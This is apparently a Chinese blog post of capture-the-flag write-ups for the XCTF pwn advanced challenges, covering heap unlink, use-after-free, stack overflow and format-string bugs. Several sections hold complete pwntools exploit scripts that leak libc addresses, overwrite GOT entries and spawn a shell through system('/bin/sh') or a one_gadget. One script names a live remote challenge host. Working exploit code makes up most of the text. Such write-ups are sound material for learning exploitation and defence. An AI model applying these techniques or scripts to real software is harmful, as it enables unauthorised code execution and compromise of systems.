攻防世界-pwn-高手进阶区-part2
之前为了做堆的题目,做了一堆栈的题目
现在做到堆的题目我不会做了
4-ReeHY-main-100
分析
这题可以的操作有点多
然后我对堆又不太熟
那就只能先看看dalao们的题解了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __int64 delete() { __int64 result; int v1;
puts("Chose one to dele"); result = getnum(); v1 = result; if ( (signed int)result <= 4 ) { free(*((void **)&unk_6020E0 + 2 * (signed int)result)); dword_6020E8[4 * v1] = 0; puts("dele success!"); result = (unsigned int)(dword_6020AC-- - 1); } return result;
|
delete函数中,程序对输入的index
没有进行过滤,因此可以输入负数将前面的chunk
释放
这个chunk
保存了用户创建的chunk
的size
,free
之后,再次malloc
即可对分配的chunk的size
进行操作
之后可以在chunk0
中构造一个Fake_Chunk
chunk0
的原内容
在chunk0
中写入一个FAKE_chunk
然后free(1)
触发unlink
,将0x6020E0
引入堆中
然后就基本操作了
排雷
这题的环境有问题,天大的问题
这题目扒下来的时候连出题人给的libc一起扒下来了,然后他们重新搭建平台的使用又是直接用的ubuntu16.04吧~
所以下面的exp,几乎所有地址都是动态从libc读出来的,本地成功以后切换到ctflibc.so.6
打远程反而失败了,然后我用的本地的libc.so.6
又成功了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * context.log_level = 'debug'
p = remote() elf = ELF('./4-ReeHY-main')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_offset = libc.symbols['puts'] free_got = elf.got['free'] puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] puts_plt = elf.plt['puts']
def create(size,index,content): p.sendlineafter('$','1') p.sendlineafter('size',str(size)) p.sendlineafter('cun',str(index)) p.sendlineafter('content',content)
def delete(index): p.sendlineafter('$','2') p.sendlineafter('to dele',str(index))
def edit(index,content): p.sendlineafter('$','3') p.sendlineafter('to edit',str(index)) p.sendafter('content',content)
p.sendlineafter('name:','wh4lter')
create(0x80,0,'A'*8) create(0x80,1,'B'*8)
delete(-2) payload1 = p32(0x100)+p32(0x80)+p32(0)+p32(0) create(0x10,2,payload1)
fd = 0x6020e0-0x18 bk = 0x6020e0-0x10 payload2 = p64(0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60+p64(0x80)+p64(0x90) edit(0,payload2)
delete(1)
payload3 = p64(0)+p64(0)+p64(0)+p64(free_got)+p64(1)+p64(puts_got)+p64(1)+p64(atoi_got)+p64(1)
edit(0,payload3)
edit(0,p64(puts_plt))
delete(1) puts_addr = u64(p.recvuntil('dele success')[1:-13].ljust(8,'\x00')) success("puts_address:"+hex(puts_addr))
libc.address = puts_addr - puts_offset success('libc base'+hex(libc.address)) system_addr = libc.symbols['system'] success('system:'+hex(system_addr))
edit(2,p64(system_addr)) p.sendafter('$','/bin/sh\x00')
p.interactive()
|
比较传统一点(不用free(-2)
)的做法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * context.log_level = 'debug'
p = process('./4-ReeHY-main') elf = ELF('./4-ReeHY-main') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_offset = libc.symbols['puts'] free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] fd = 0x602100-0x18 bk = 0x602100-0x10
def create(size,index,content): p.sendlineafter('$','1') p.sendlineafter('size',str(size)) p.sendlineafter('cun',str(index)) p.sendafter('content',content)
def delete(index): p.sendlineafter('$','2') p.sendlineafter('to dele',str(index))
def edit(index,content): p.sendlineafter('$','3') p.sendlineafter('to edit',str(index)) p.sendafter('content',content)
p.sendlineafter('name:','wh4lter')
create(0x20,'0','/bin/sh\x00') create(0x80,2,'B'*8) create(0x80,1,'C'*8)
delete(2) delete(1)
p_addr = 0x602100 payload1 = p64(0)+p64(0x81)+p64(fd)+p64(bk)+'A'*(0x80-0x20)+p64(0x80)+p64(0x90) create(0x80*2+0x10,2,payload1) delete(1)
payload2 = p64(0)+p64(free_got)+p64(1)+p64(puts_got)+p64(1)+p64(atoi_got)+p64(1) edit(2,payload2) edit(1,p64(puts_plt)) delete(2) p.recvline() puts_addr = u64(p.recvline(keepends=False).ljust(8,'\x00')) success('puts_address:'+hex(puts_addr)) libc.address = puts_addr - puts_offset success('libc base'+hex(libc.address)) system_addr = libc.symbols['system'] success('system:'+hex(system_addr))
edit(1,p64(system_addr)) delete(0)
p.interactive()
|
参考
https://bbs.pediy.com/thread-218395.htm
https://www.cnblogs.com/xingzherufeng/p/9885860.html
Aul
分析
输入help
的话,可以打印出程序的binary
但是不太懂怎么反编译,就暂时参考了一下网上的writeup
https://github.com/ctfs/write-ups-2016/tree/master/csaw-ctf-2016-quals/pwn/aul-100
一方面对打印出来的binary需要进行一些操作才能反编译
另一方面,可以通过别的指令直接打印出源码,以及直接get flag。
1 2
| io.write("Hello world, from ",_VERSION,"!\n") os.execute("cat server.lua")
|
exp
babyfengshui
分析
add
功能会创建两个块
1 2
| s = malloc(size); v2 = malloc(0x80u);
|
草图:
通常情况下,description
块与user
块是相连的
update
中有一个check
防止堆溢出
1
| length + *(_DWORD *)ptr[index]) >= (char *)ptr[index] - 4
|
check
的原意应该是判断text
的length
是否会超过description
,一般情况下也就是user
的起始。但是,只要将description
与user
分离,那么意味着update
操作可以修改两个块之间夹着的任何内容
举个例子
1 2 3 4
| add(size) add(size) delete(0) add(larger_than_size)
|
如此一来new_description
可以分配到description0
的原空间,但user0
的原空间不够分配给new_user
,所以会分配到user1
之后的新空间中
极致草图:
delete(0);add(larger_than_size)
之后
然后可以通过覆盖addr_description1
为free_got
从而打印出free
的地址
再之后通过update
将free_got
的值改写为system_address
然后通过delete
操作触发
排雷
不得不说,攻防世界的pwn一律推荐使用LibcSearcher等工具识别libc版本
本地的libc.so.6
利用成功了之后,换成远程失败
题目压缩包给的libc.so.6
与本地的libc.so.6
还不一样,本地利用失败
然后用LibcSearcher
识别的版本是libc-2.23
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * from LibcSearcher import * context.log_level = 'debug'
p = remote() elf = ELF('./babyfengshui')
def add(size,name,length,text): p.sendlineafter('Action:','0') p.sendlineafter('size of description:',str(size)) p.sendlineafter('name:',name) p.sendlineafter('text length:',str(length)) p.sendlineafter('text:',text)
def delete(index): p.sendlineafter('Action:','1') p.sendlineafter('index:',str(index))
def display(index): p.sendlineafter('Action:','2') p.sendlineafter('index:',str(index))
def update(index,length,text): p.sendlineafter('Action:','3') p.sendlineafter('index:',str(index)) p.sendlineafter('text length:',str(length)) p.sendlineafter('text:',text)
add(0x80,'A'*0x10,0x10,'a'*0x10) add(0x80,'B'*0x10,0x10,'b'*0x10) delete(0) add(0xa0,'C'*0x10,0x10,'c'*0x10) add(0x80,'B'*0x10,0x10,'/bin/sh\x00')
free_got = elf.got['free'] update(2,0x80+0x88+0x88+0x20,'D'*0x198+p32(free_got)) display(1) p.recvuntil('on: ') free_addr = u32(p.recv(4)) success('free_address:'+hex(free_addr)) libc = LibcSearcher('free',free_addr) libc_base = free_addr - libc.dump('free') system_addr = libc_base + libc.dump('system') success('system_address:'+hex(system_addr))
update(1,4,p32(system_addr))
delete(3) p.interactive()
|
1000levevls
这道题到底叫什么
另外,参考了一下西北之光的博客,妙啊
分析
hint
函数和go
函数共享栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| .text:0000000000000B94 go proc near ; CODE XREF: main+51↓p .text:0000000000000B94 .text:0000000000000B94 var_120 = qword ptr -120h .text:0000000000000B94 var_118 = dword ptr -118h .text:0000000000000B94 var_114 = dword ptr -114h .text:0000000000000B94 var_110 = qword ptr -110h .text:0000000000000B94 var_108 = qword ptr -108h .text:0000000000000B94 .text:0000000000000B94 ; __unwind { .text:0000000000000B94 push rbp .text:0000000000000B95 mov rbp, rsp .text:0000000000000B98 sub rsp, 120h .text:0000000000000B9F lea rdi, aHowManyLevels ; "How many levels?" .text:0000000000000BA6 call _puts .text:0000000000000BAB call get_num .text:0000000000000BB0 mov [rbp+var_120], rax .text:0000000000000BB7 mov rax, [rbp+var_120] .text:0000000000000BBE test rax, rax .text:0000000000000BC1 jg short loc_BD1 .text:0000000000000BC3 lea rdi, aCoward ; "Coward" .text:0000000000000BCA call _puts .text:0000000000000BCF jmp short loc_BDF
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| .text:0000000000000D06 hint proc near ; CODE XREF: main:loc_F9F↓p .text:0000000000000D06 .text:0000000000000D06 var_110 = qword ptr -110h .text:0000000000000D06 anonymous_0 = dword ptr -100h .text:0000000000000D06 anonymous_1 = word ptr -0FCh .text:0000000000000D06 .text:0000000000000D06 ; __unwind { .text:0000000000000D06 push rbp .text:0000000000000D07 mov rbp, rsp .text:0000000000000D0A sub rsp, 110h .text:0000000000000D11 mov rax, cs:system_ptr .text:0000000000000D18 mov [rbp+var_110], rax .text:0000000000000D1F lea rax, unk_20208C .text:0000000000000D26 mov eax, [rax] .text:0000000000000D28 test eax, eax .text:0000000000000D2A jz short loc_D57 .text:0000000000000D2C mov rax, [rbp+var_110] .text:0000000000000D33 lea rdx, [rbp+var_110] .text:0000000000000D3A lea rcx, [rdx+8] .text:0000000000000D3E mov rdx, rax .text:0000000000000D41 lea rsi, aHintP ; "Hint: %p\n" .text:0000000000000D48 mov rdi, rcx ; s .text:0000000000000D4B mov eax, 0 .text:0000000000000D50 call _sprintf .text:0000000000000D55 jmp short loc_D7C
|
这里看汇编比较清楚
可以看到hint
函数将system_ptr
保存在rbp-0x110
而与此同时这个位置在go
函数中保存了v5
,v6
1 2 3 4 5 6 7 8 9
| puts("How many levels?"); v2 = get_num(); if ( v2 > 0 ) v5 = v2; else puts("Coward"); puts("Any more?"); v3 = get_num(); v6 = v5 + v3;
|
而v5
,v6
是有方法保持数值不变的
那么system_ptr
就可以一直保留在栈中,那可再进一步,直接将其修改成one_gadget
地址。
通过计算system_offset
与one_gadget
的差值即可通过Any more?
的输入修改system_ptr
为one_gadget
然后利用vsyscall
作为一个slide,滑到one_gadget
就能成功pwn
感觉有必要另起一篇学习一下vsyscall
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context.log_level = 'debug'
p = remote() libc = ELF('./libc.so')
one_gadget = 0x4526a system_offset = libc.symbols['system'] vsyscall_addr = 0xffffffffff600000
p.sendlineafter('Choice:','2') p.sendlineafter('Choice:','1') p.sendlineafter('levels?','-1') p.sendlineafter('',str(one_gadget-system_offset))
for i in range(99): p.recvuntil("Question: ") v9 = int(p.recvuntil(" ")[:-1]) p.recvuntil("* ") v10 = int(p.recvuntil(" ")[:-1]) p.sendlineafter("Answer:", str(v9 * v10)) payload = 'A' * (0x30+8)+p64(vsyscall_addr) *3 p.sendafter("Answer:",payload) p.interactive()
|
参考
https://sp4rta.github.io/2019/04/18/2017%203rd-BCTF%20100levels/
http://blog.eonew.cn/archives/968
pwn-200
分析
sub_8048484
函数中read
存在栈溢出,通过write
泄露libc
地址,然后构造调用system("/bin/sh")
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * from LibcSearcher import * context.log_level = 'debug'
p = remote() elf = ELF('./pwn-200') ret_addr = 0x08048484 write_plt = elf.plt['write'] read_got = elf.got['read'] payload = 'A'*0x70+p32(write_plt)+p32(ret_addr)+p32(1)+p32(read_got)+p32(4) p.sendlineafter('Welcome to XDCTF2015~!',payload) p.recvline() read_addr = u32(p.recv(4)) success('read_address:'+hex(read_addr))
libc = LibcSearcher('read',read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh')
success('system_address:'+hex(system_addr)) success('binsh_address:'+hex(binsh_addr)) payload2 = 'A'*0x70+p32(system_addr)+'A"*4'+p32(binsh_addr) p.sendline(payload2) p.interactive()
|
hacknote
真的可以不给ELF吗
分析
程序提供了4个选项
1 2 3 4 5 6 7 8 9
| ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :
|
delete
函数中,释放chunk后没有清零指针
add
函数中,程序会先创建一个size=8
的chunk_0用于存放指针,再创建一个size=$size
的chunk_1用于存放content
,然后会将puts
指针存入chunk_0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| int __cdecl sub_804862B(int a1) { return puts(*(const char **)(a1 + 4)); }
unsigned int add() { _DWORD *v0; signed int i; int size; char buf; unsigned int v5;
v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !ptr[i] ) { ptr[i] = malloc(8u); if ( !ptr[i] ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)ptr[i] = sub_804862B; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = ptr[i]; v0[1] = malloc(size); if ( !*((_DWORD *)ptr[i] + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)ptr[i] + 1), size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
|
print
函数中,程序直接调用这一puts
指针执行打印操作
1 2
| if ( ptr[v1] ) (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
|
所以可以考虑覆盖puts
为system
来构造syste("/bin/sh")
所以可以进行如下操作:
1 2 3 4 5
| add(16) add(16) delete(0) delete(1) add(8)
|
如此一来,在add(8)
时chunk_1会被分配到第一个add(16)
的chunk_0处
从而可以控制*ptr[v1](ptr[v1])
然后是system
执行指令的问题,首先空间不够大,其次指针不是指向刚好开头的
所以这里可以用||sh
这样就可以避免前半段执行system(&system)
直接down
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * context.log_level = 'debug'
p = process('./hacknote')
elf = ELF('./hacknote')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt = elf.plt['puts'] puts_got = elf.got['puts']
def add_note(size,content): p.sendlineafter('Your choice :','1') p.sendlineafter('Note size :',str(size)) p.sendafter('Content :',content)
def delete_note(index): p.sendlineafter('Your choice :','2') p.sendlineafter('Index :',str(index))
def print_note(index): p.sendlineafter('Your choice :','3') p.sendlineafter('Index :',str(index))
add_note(0x20,'A'*8) add_note(0x20,'B'*8) delete_note(0) delete_note(1) func = 0x0804862b payload1 = p32(func)+p32(puts_got) add_note(8,payload1) print_note(0) puts_addr = u32(p.recv(4)) success('puts_address:'+hex(puts_addr)) libc.address = puts_addr - libc.symbols['puts'] system_addr = libc.symbols['system'] success('system_address:'+hex(system_addr))
delete_note(2) payload2 = p32(system_addr)+"||$0" add_note(8,payload2) print_note(0) p.interactive()
|
welpwn
分析
read
函数可以在buf
中写入0x400字节,但echo
函数中只给了其0x10字节的长度
1 2
| read(0, &buf, 0x400uLL); echo((__int64)&buf);
|
因为echo
函数中栈空间为0x20,所以可以通过pop|pop|pop|pop|ret
来调到main
函数的栈空间上执行ROP
之后可以通过构造ROP打印出puts
函数地址从而推算libc基址
然后用one_gadget
直接getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * context.log_level = 'debug'
p = remote() elf = ELF('./welpwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') main_addr = 0x4007cd ppppret = 0x000000000040089c pdiret = 0x00000000004008a3 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] write_got = elf.got['write']
payload1 = 'A'*0x18+p64(ppppret)+p64(pdiret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) p.sendafter('Welcome to RCTF',payload1) p.recvuntil('A'*0x18+'\x9c\x08\x40') puts_addr = u64(p.recvline(keepends=False).ljust(8,'\x00')) success("puts:"+hex(puts_addr))
payload2 = 'A'*0x18+p64(ppppret)+p64(pdiret)+p64(write_got)+p64(puts_plt)+p64(main_addr) p.send(payload2) p.recvuntil('A'*0x18+'\x9c\x08\x40') write_addr = u64(p.recvline(keepends=False).ljust(8,'\x00')) success("write:"+hex(write_addr))
libc.address = puts_addr - libc.symbols['puts'] onegadget = libc.address + 0x4526a
payload3 = 'A'*0x18 + p64(onegadget) p.send(payload3) p.interactive()
|
总结
这里没有预先给libc,所以使用one_gadget还是应该用LibcSearcher
获取到libc版本。
上文的exp里面我多写了一块没有必要的泄露write
函数地址的代码。其实我本地执行的时候是不需要这一段代码的,但是remote执行脚本的时候,泄露出puts
函数地址后直接使用one_gadget
不能getshell,但是加上这段以后竟然成功了
greeting-150
分析
很明显的一个格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13
| int __cdecl main(int argc, const char **argv, const char **envp) { char s; char v5; unsigned int v6;
v6 = __readgsdword(0x14u); printf("Please tell me your name... "); if ( !getnline(&v5, 0x40) ) return puts("Don't ignore me ;( "); sprintf(&s, "Nice to meet you, %s :)\n", &v5); return printf(&s); }
|
程序中有一个nao
函数
1 2 3 4 5 6
| int nao() { setbuf(stdin, 0); setbuf(stdout, 0); return system("echo \"Hello, I'm nao\"!"); }
|
大致思路是,将strlen@got
改成system@plt
,同时更改栈中的返回地址,使程序跳转回main
函数开头重新运行,运行到getnline
中时输入"/bin/sh"
触发strlen("/bin/sh")
实际运行system("/bin/sh")
因为程序中已经调用过了strlen
,因而strlen@got
中保存着的不是strlen@plt
而是strlen
函数的物理地址,因而在此将其直接覆盖成system@plt
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context.log_level = 'debug'
p = remote('111.198.29.45',35919)
fini_addr = 0x08049934 strlen_got=0x08049A54
payload = 'BB'+p32(fini_addr)+p32(strlen_got)+p32(strlen_got+2) payload += "%.{}x".format(0xed-len(payload)-0x12)+'%12$hhn' payload += "%.{}x".format(0x8490-0xed)+'%13$hn' payload += "%.{}x".format(0x10000+0x0804-0x8490)+'%14$hn'
p.sendlineafter('Please tell me your name...',payload) p.sendlineafter('Please tell me your name...',"/bin/sh") p.interactive()
|